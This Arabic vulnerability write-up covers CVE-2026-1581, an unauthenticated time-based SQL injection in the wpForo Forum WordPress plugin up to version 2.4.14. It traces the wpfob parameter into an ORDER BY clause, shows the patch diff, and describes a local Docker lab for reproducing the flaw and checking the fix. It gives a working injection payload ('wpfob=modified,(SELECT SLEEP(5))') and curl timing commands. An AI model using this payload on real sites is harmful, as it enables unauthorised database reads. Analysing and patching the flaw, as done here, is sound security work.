
يعيد إنتاج CVE-2026-1581، وهو حقن SQL قائم على الوقت دون مصادقة في wpForo Forum <=2.4.14، مع مختبر Docker وPoC لإظهار الثغرة والتحقق من التصحيح.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-1581 |
| الإضافة | wpForo Forum |
| الإصدارات المتأثرة | <= 2.4.14 |
| الإصدار المُصحَّح | 2.4.15 |
| نوع الثغرة | حقن SQL زمني غير مصادق عليه (ORDER BY) |
| درجة CVSS | 7.5 (عالية) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 هي ثغرة حقن SQL زمني غير مصادق عليه في إضافة wpForo Forum (<= 2.4.14). يتم استخدام المعامل wpfob في جملة ORDER BY مع تطبيق تنقية نصية فقط، مما يسمح لمهاجم غير مصادق بحقن تعبيرات SQL عشوائية وقراءة البيانات من قاعدة البيانات.
قام المطوّر بإصلاح هذه الثغرة في الإصدار 2.4.15 عن طريق استبدال sanitize_text_field() بـ wpforo_sanitize_orderby()، الذي يفرض قائمة بيضاء مدركة للسياق.
التشغيل على localhost + Docker Compose فقط.
الـ PoC هو إثبات توقيت زمني لإظهار الفرق بين الإصدار المُصاب والإصدار المُصحَّح.
لا تستخدم ضد أي نظام دون إذن صريح.
إثبات الإصدار: صفحة /community/ تحمّل /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (مُصاب) مقابل 2.4.15 (مُصحَّح).
إثبات الكود: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
إثبات السلوك: wpfob=modified,(SELECT SLEEP(5)) يسبب تأخيرًا ~5 ثوانٍ على الإصدار المُصاب؛ بينما يستجيب الإصدار المُصحَّح قريبًا من خط الأساس.
نشرة CVE تذكر فقط أن هذه ثغرة حقن SQL زمني عبر المعامل wpfob، وتم إصلاحها في 2.4.15. في وقت التحليل، لم يكن هناك أي PoC عام متاح.
لذلك تم بناء هذا التقرير من خلال مقارنة الكود المصدري بين 2.4.14 و2.4.15، وتتبع المعامل من مدخلات HTTP عبر التنقية حتى نقطة استخدامه في بناء استعلام SQL — لفهم السبب الجذري وإعادة إنتاج المشكلة.

wpfobبدءًا بالبحث عن wpfob في الكود المصدري، تبيّن أن صفحة الأحدث (Recent) تأخذ القيمة مباشرة من معامل GET وتُسندها كوسيط orderby.

المُصاب (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
المُصحَّح (2.4.15) — نفس الملف، تم استبدال المُنقّي:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
لماذا التركيز على
recent.php؟ لأنه مسار قابل للاستغلال حيث يتم إسنادwpfobمباشرة إلى$args['orderby'].
ORDER BY ...بمجرد تعيين $args['orderby']، يتدفق إلى مُنشئ الاستعلام في wpForo لبناء جملة ORDER BY.
تسلسل ORDER BY (المُصاب 2.4.14)
classes/Topics.php:

classes/Posts.php:

الشرح
sanitize_text_field() فقط يزيل/ينظف السلسلة النصية — ولا يفرض قائمة بيضاء لأسماء الأعمدة المسموحة.orderby يتم تسلسله مباشرة في ORDER BY <orderby>، يمكن للمهاجم حقن تعبيرات SQL عشوائية في موضع ORDER BY.المرجع: https://developer.wordpress.org/reference/functions/sanitize_text_field/
recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()يقدم الإصدار 2.4.15 مُنقّي قائمة بيضاء مدرك للسياق يعيد القيمة الافتراضية إذا لم يكن الإدخال في القائمة المسموحة:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — يستخدم wp-cli لتثبيت WordPress، وتثبيت الإضافة، وإنشاء صفحة /community/ مع شورت كود [wpforo]، وتهيئة الروابط الدائمة، وإنشاء .htaccess، وإنشاء أدوات تحقق.من قراءة الكود المصدري، يتم استخدام wpfob بشكل صريح على صفحة الأحدث (recent):
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedيجب وجود موضوع واحد (topic) ومنشور واحد (post) على الأقل قبل الاختبار.
ORDER BY، ولن يُلاحظ أي تأخير — نتيجة سلبية خاطئة.يجب وجود موضوع واحد (topic) ومنشور واحد (post) على الأقل.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"
